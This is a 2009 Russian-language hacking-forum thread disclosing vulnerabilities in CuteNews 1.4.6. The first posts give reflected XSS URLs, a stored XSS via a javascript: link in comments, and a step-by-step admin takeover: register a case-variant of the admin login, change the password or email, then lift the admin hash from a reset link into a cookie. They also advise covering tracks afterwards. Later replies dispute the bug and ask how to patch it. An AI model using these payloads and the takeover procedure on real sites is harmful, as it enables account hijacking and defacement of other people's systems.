ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

CuteNews 1.4.6 / Множественные XSS
  #1  
Старый 21.08.2009, 22:24
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию CuteNews 1.4.6 / Множественные XSS

CuteNews 1.4.6 / Множественные XSS

1. Пассивные XSS:

Во всех формах в action указывается $PHP_SELF, что делает скрипт уязвимым:

Код:
http://test1.ru/cutenews/search.php/1"><script>alert();</script>
http://test1.ru/cutenews/register.php/"><script>alert();</script>/?action=lostpass
ну и т.д.

Далее в файле /search.php наблюдаем следующий код:

PHP код:
//check for bad _GET and _POST
if($dosearch == "yes"){
  
$check_params array_merge($_GET$_POST);
  foreach(
$check_params as $param_key=>$param_val){
    if( !empty(
$param_val) && !preg_match('/^[a-zA-Z0-9\- ]{0,255}$/'$param_val) ){
      die(
"Error! the parameter '$param_key' contains illigal characters");
    }
  }

а именно строчку: die("Error! the parameter '$param_key' contains illigal characters");

<script>alert();</script> ---> %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3B%3 C%2F%73%63%72%69%70%74%3E

Код:
http://test1.ru/cutenews/search.php?dosearch=yes&%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3B%3C%2F%73%63%72%69%70%74%3E=.
2. Активная XSS:

В комментах пишем:

[link=javascript:alert()]text[/link]

P.S. двиг изобилует кривизной кода.

© Grey

Последний раз редактировалось Grey; 26.08.2009 в 11:19..
 
Ответить с цитированием

CuteNews 1.4.6 / Повышение привилегий до админа
  #2  
Старый 26.08.2009, 00:22
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию CuteNews 1.4.6 / Повышение привилегий до админа

CuteNews 1.4.6 / Повышение привилегий до админа

Нужно: аккаунт с правами journalist или аккаунт с правами на сохранение настроек, знать логин админа (обычно пишется при добавление новости, но учтите иногда может писать не логин, а ник, если он указан, и он может отличаться от логина).

Баг до нельзя тупой, смотрим файл inc/options.mdu и видим в нём код:

PHP код:
        foreach($old_user_db as $old_user_db_line){
                
$old_user_db_arr explode("|"$old_user_db_line);
                if(
strtolower($username) != strtolower($old_user_db_arr[2])){
                        
fwrite($new_user_db,"$old_user_db_line");
                }
                else{
                     if(
$editpassword != ""){
                     
$old_user_db_arr[3] = md5($editpassword);
                     if(
$config_use_cookies == TRUE){ setcookie("md5_password"$old_user_db_arr[3]); }
                        
$_SESSION['md5_password'] = $old_user_db_arr[3];
                     }
                     
fwrite($new_user_db,"$old_user_db_arr[0]|$old_user_db_arr[1]|$old_user_db_arr[2]|$old_user_db_arr[3]|$editnickname|$editmail|$old_user_db_arr[6]|$edithidemail|$change_avatar|$old_user_db_arr[9]||\n");
                     
$personal_success TRUE;
                }
        } 
Суть в следующем - пусть на сайте есть админ с логином admin регистрируем пользователя ADMin (он сохраняется именно в таком виде), заходим под ним (с учётом регистра) - и... мы не более чем обычные пользователи, при проверке логина и пароля всё норм, но теперь идем в личные настройки и меняем пароль (не важно на какой). Из-за того что в коде стоит strtolower($username) != strtolower($old_user_db_arr[2]), то пароль поменяется для всех с ником admin не зависимо от регистра.
Разлогиниваемся и логинимся, только теперь логин пишем не ADMin, а admin и тот новый пароль, который поставили при смене и получаем права админа.

Внимание: учитывайте, что после всех этих действий админ не сможет зайти под своим аккаунтом - пароль, почта и т.д. - всё это поменяется. Единственное что можно сделать - это заранее запомнить почтовый адрес и уже с шелла, удалив нового админа (а палиться ни к чему), поставить старую почту настоящему админу.

UPD: Можно и не менять пароль админу, а изменить только почтовый ящик, для этого при редактирование данных пишем нужный нам email, далее разлогиниваемся и делаем восстановление пароля на email.

В результате чего на почту придёт линк подтверждения смены пароля, по нему не переходим, а берём из него хеш админа.

Код:
if($user_arr[2] == $user and $user_arr[5] == $email){ $sstring = "${user_arr[0]}${user_arr[3]}"; $found = TRUE; break;}
Пароль в чистом виде не нужен, хеша достаточно для авторизации - запихиваем его в куки и получаем акк админа.

© Grey

Последний раз редактировалось Grey; 28.08.2009 в 16:17..
 
Ответить с цитированием

  #3  
Старый 28.08.2009, 02:19
Аватар для Zahar
Zahar
Новичок
Регистрация: 17.03.2008
Сообщений: 5
Провел на форуме:
168509

Репутация: 1
По умолчанию

В версии 1.4.6 выше описаную багу проверил, результат нулевой, возможно что проверял с правами юзера коментатор, возможно нужны более шырокие права. Баги НЕТ !
 
Ответить с цитированием

  #4  
Старый 28.08.2009, 14:51
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от Zahar  
В версии 1.4.6 выше описаную багу проверил, результат нулевой, возможно что проверял с правами юзера коментатор, возможно нужны более шырокие права. Баги НЕТ !
Нужна возможность сохранять настройки, а такие права начинаются с journalist, ну вообще они судя по описаю двига должны быть у всех

Код:
Commenters - when users from this level login, they are allowed only to change their passwords.
но наверное автор это упустил:

PHP код:
if($member_db[1] == and ($action != 'personal' and $action != 'options')){ msg('error''Error!''Access Denied for your user-level (commenter)'); } 
Не хватает and $action != 'dosavepersonal'.

Последний раз редактировалось Grey; 28.08.2009 в 16:27..
 
Ответить с цитированием

  #5  
Старый 26.09.2009, 22:59
Аватар для InnovateME
InnovateME
Banned
Регистрация: 12.02.2009
Сообщений: 5
Провел на форуме:
14426

Репутация: -5
Question

Уязвимости, это конечно хорошо, но хотелось бы узнать, возможно ли закрыть эти дыры ? использую версию 1.4.6 хотелось бы чтобы вы помогли все это исправить. Ну или предложили халявный скрипт аналог этому.
 
Ответить с цитированием

  #6  
Старый 14.10.2009, 07:41
Аватар для nitr00
nitr00
Познающий
Регистрация: 02.09.2009
Сообщений: 80
Провел на форуме:
269793

Репутация: 8
По умолчанию

закрыть возможно
помогу закрыть безвоздмезно =))
в приват отписывай все сделаем =)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ